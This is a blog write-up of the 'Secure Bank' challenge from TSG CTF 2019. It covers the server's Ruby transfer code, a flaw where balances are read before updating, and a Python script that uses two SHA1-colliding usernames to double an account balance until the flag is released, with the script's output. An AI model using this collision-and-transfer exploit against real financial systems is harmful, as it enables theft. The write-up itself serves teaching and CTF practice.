amccormack.net

Things I've learned and suspect I'll forget.

Solving "Secure Bank" from TSG CTF 2019-05-05

Yesterday I participated in the TSG CTF and I'll be posting a few of the challenges and solutions to the blog.

The Secure Bank challenge

The prompt of the challenge is:

I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!!

The website links to source code and logging in shows that it is a banking application.

Secure Bank

Looking at the source file shows that in order to get the flag the balance of the account should be greater than or equal to 10 billion.

get '/api/flag' do
  return err(401, 'login first') unless user = session[:user]

  hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

  res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
  row = res.next
  balance = row && row[0]
  res.close

  return err(401, 'login first') unless balance
  return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

  json({flag: IO.binread('data/flag.txt')})
end

Before I get into how to solve the challenge, if you would like to try it on your own, you can build the server and run the challenge yourself by following the README file in this github repo

Solving the Challenge

Poking around the website itself, I note the following: - New accounts are issued 100 coins - Users can transfer coins to another account

I could register 100 million accounts and have them all transfer coins to a single account. But that doesn't feel practical.

I decided to take a look at the transfer function to see if I could spot any vulnerabilities.

post '/api/transfer' do
  return err(401, 'login first') unless src = session[:user]

  return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
  return err(400, 'bad request') unless amount = params[:amount] and String === amount
  return err(400, 'bad request') unless amount = amount.to_i and amount > 0

  sleep 1

  hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
  hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

  res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
  row = res.next
  balance_src = row && row[0]
  res.close
  return err(422, 'no enough coins') unless balance_src >= amount

  res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
  row = res.next
  balance_dst = row && row[0]
  res.close
  return err(422, 'no such user') unless balance_dst

  balance_src -= amount
  balance_dst += amount

  DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
  DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

  json({amount: amount, balance: balance_src})
end

The api takes two arguments, a destination user account and an amount.

The amount to transfer must be greater than 0 and the usernames can not be the same

The usernames of the sender and the destination are both hashed, and the hashes are used to locate the records of the users in the database.

Seeing the dst != src validation made me realize that if the usernames where the same the transfer would give extra coins. This is because the new amount for the destination is calculated using values obtained before the coins where subtracted from the sender.

The user's data is obtained from the database by the SHA1 hash of the user ID. So if we can get two different usernames but the same hash, we can add coins to our account and overwrite the effects of subtracting.

SHA1 is vulnerable to collisions, and researchers have figured out how to generate the same SHA1 hash from two different byte sequences.

This website provides a SHA1 collider. You can specify two files and it will return two PDFs with different data but each with the same SHA1 hash.

The first thing I wanted to do was test if the collision would work. I only have a passing knowledge of ruby and sinatra, so I wanted to see what the output of a collision would look like.

I spun up a docker instance of the ruby server and modified the source to add the following to the /api/register logic.

md5_user = Digest::MD5.hexdigest(user)
puts  "register user SHA1 #{hashed_user} MD5 #{md5_user}"

Next I needed usernames to test with.

I uploaded two files, a.jpg and b.jpg which had 4 A and 4 B characters respectively to the SHA1 collider. I then loaded the files in python and chopped them from the end of the file until the hashes no longer matched. This left 2 different sequences of 320 bytes with the same SHA1 hash.

I wrote python to register both byte sequences as usernames on the modified server, and watched the output.

The server had the following output, proving the two users have the same SHA1 hash.

127.0.0.1 - - [05/May/2019:22:30:33 +0000] "GET /index.html HTTP/1.1" 200 5341 0.0220
register user SHA1 ebbc34e8a20fa2d296fb09d1be253250d73a0720 MD5 7c2f61965501afba4ff7e84ee2c91853
127.0.0.1 - - [05/May/2019:22:30:34 +0000] "POST /api/register HTTP/1.1" 200 - 1.0135
register user SHA1 ebbc34e8a20fa2d296fb09d1be253250d73a0720 MD5 e427eb5d9a171094e7ba99b1e1d502b3

The full script of the attack can be seen in the solution file but I've taken the important parts and commented on them below.

The script works by registering a username (ua) and then transferring all available coins to ub. Because ua has the same hash as ub the coins are actually transfered to the ua user.

def run_attack(base_url):
    # We generate 4 random bytes to add at the of the usernames. This
    # lets us rerun this script and not collide with a previously used
    # username. We double check that the hashes are the same.
    seed = secrets.token_bytes(4)
    ua, ub = USER_A + seed, USER_B + seed
    h1, h2 = hashlib.sha1(ua).hexdigest(), hashlib.sha1(ub).hexdigest()
    assert h1 == h2

    # Create a Session object, which will retain cookie values. Then
    # register and login with our user.
    s = requests.Session()
    s.get(index_url)
    s.post(register_url, data={"user":ua, "pass": 'a'*20})
    s.post(login_url, data={"user":ua, "pass": 'a'*20})

    # Get the balance of our user
    r = s.post(balance_url, data={})
    balance = r.json()['balance'] if 'balance' in r.json() else None
    while balance is not None and balance < 10000000000:
        if balance is None:
            print('Could not read balance, exiting')
            return
        # Transfer all of the money in ua's account to ub
        s.post(transfer_url, data={"amount":str(balance), "target": ub})
        r = s.post(balance_url, data={})
        balance = r.json()['balance'] if 'balance' in r.json() else None
        print(balance)

    r = s.get(flag_url)
    print(r.json())
$ python solve.py http://34.85.75.40:19292
200
400
800
1600
3200
6400
12800
25600
51200
102400
204800
409600
819200
1638400
3276800
6553600
13107200
26214400
52428800
104857600
209715200
419430400
838860800
1677721600
3355443200
6710886400
13421772800
{'flag': 'TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}\n'}

published on 2019-05-05 by alex